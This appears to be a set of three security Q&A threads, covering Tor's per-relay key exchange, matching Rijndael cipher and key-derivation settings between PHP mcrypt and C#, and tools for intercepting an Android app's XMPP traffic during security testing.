Tor: Is a diffie-helman key exchange being done over reciepient of traffic? As I was looking over Tor specifications and I noticed that when a circuit is generated then on each circuit's node a Diffie-Hellman key exchange is being done over an encrypted path on each Node as the image shows bellow:

In other words:

So Let us suppose that Alice Cooper wants to visit a website through the Tor Network:

Would the N1 perform a Diffie-Hellman Key exchange with N3?

No, the key exchange is done between the client and each relay. This is the general technique behind onion routing. For the modern Tor protocol, the client will exchange a symmetric key (AES128) with three relays using ECDHE (not DHE), specifically using Curve25519. A message being sent from the client will be encrypted three times with each key, and each relay will strip a single layer of encryption. Once the message reaches the exit relay, there is only one layer left, the layer encrypted with the key known by the exit. The exit decrypts it and sends it on its way.

Also note that your diagram is incorrect. The SOCKS protocol is not used to connect to the first relay (the guard), but rather to allow a local program on your computer to connect to your Tor client (usually over localhost). The protocol used to connect to the first relay is the Tor protocol itself.


Cipher Key Length versus Encryption Bits I am trying to add encryption functionality to a PHP script, modeled on an existing C# application.

The C# app uses the Rijndael algorithm with default constructor. From this I am able to determine that it has a key size of 256 and a block size of 128.

I am unsure about selecting the appropriate cipher for php's mcrypt function. The list of ciphers show:

MCRYPT_RIJNDAEL_128
MCRYPT_RIJNDAEL_192
MCRYPT_RIJNDAEL_256

But I am not sure if the trailing number is referring to key length, the number of bits used in the encryption or if those are one in the same.

What cipher should I use to match the existing functionality? When I try 256 I get the error "The IV parameter must be as long as the blocksize". If I try 128, the resulting keys don't match (though I suspect this is still an error with something other than cipher selection.)

Sorry for the basic nature of the question, it would help to have some layman explanation.

Rijndael is a versatile block cipher which can work with blocks of size 128, 192 or 256 bits, and with keys of 128, 192 or 256 bits. All nine combinations are possible.

In 2001, as part of an open competition which went on for three years, Rijndael was chosen to become the US federal "Advanced Encryption Standard", aka the AES; but only with a block size of 128 bits. So there are exactly three versions of the AES, all with a 128-bit block size, and with keys of 128, 192 or 256 bits.

Therefore, while Rijndael formally supports blocks of 192 or 256 bits, it is very rarely used that way; it is thus highly plausible that MCRYPT_RIJNDAEL_256 actually means "Rijndael with a 128-bit block size, and 256-bit key (aka 'AES-256')".

The Initialization Vector (IV) is a piece of data which must be used as parameter to the encryption mode; in your code, you appear to use CBC, so the IV must have the same length then the block size (128 bits, aka 16 bytes).

I see that you are trying to use PBKDF1. This is an old key derivation function which is limited in several ways, including its inability to output more than 20 bytes. You will have a hard time getting 32 bytes of key and 16 bytes of IV ouf of PBKDF1... I suggest you switch to PBKDF2, also defined in RFC 2898, implemented in C# by Rfc2898DeriveBytes, and which can output as many bytes as you need.

Note that PBKDF2 (and PBKDF1, for that matter) use some configurable parameters, such as an "iteration count", or the name of the underlying hash function. You have to take care to use the exact same parameters in the PHP code and in the C# code, otherwise you will not obtain the same keys and IV, and decryption will fail.


How can I intercept XMPP traffic on Android? I have been learning about security testing on Android apps, and to intercept traffic I was using Burp Suite. I know it works perfectly for HTTP/HTTPS traffic, but most of the messenger apps are using the XMPP protocol for their communication.

I did a little research on how XMPP works, the relationship with Jabber and all. What I lack is a tool to intercept the XMPP traffic. Burp Suite is unable to intercept the XMPP traffic. I heard about xmpppeak and IMSpector but I didn't try them. I would like to know what tools can intercept XMPP traffic.

I understand tool recommendation is not entertained on Stack Exchange, but still I believe it's a common requirement as attacks on Android apps are rising high these days.

I guess set up a VPN-server of your own, connect your phone to it and intercept everything with wireshark could work given that you have the neccesairy certificates or are able to MITM yourself with a fake TLS certificate.

Alternatively one of the many tcpdump-alternatives for android for use with wireshark?